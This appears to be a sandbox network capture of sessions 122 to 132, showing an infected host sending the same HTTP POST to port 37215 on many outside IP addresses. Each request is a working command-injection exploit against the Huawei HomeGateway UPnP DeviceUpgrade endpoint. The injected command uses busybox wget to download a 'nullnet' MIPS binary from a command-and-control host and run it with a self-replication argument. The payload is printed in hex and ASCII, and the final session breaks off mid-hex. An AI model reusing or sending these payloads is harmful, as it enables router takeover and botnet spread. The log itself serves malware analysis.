Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	53210	156.165.216.175	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582570076 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	58658	156.68.188.163	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582593918 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	57568	41.212.158.195	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582621098 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	41986	41.126.153.128	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582632065 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	45718	197.99.80.147	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582659006 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	36218	156.119.152.125	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582678080 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.13	41756	156.213.21.26	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582714081 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.13	58558	197.198.215.67	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582715034 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	36578	41.47.131.147	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582740068 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	38430	197.137.80.101	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582740068 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	37792	197.4.152.147	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.582770109 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 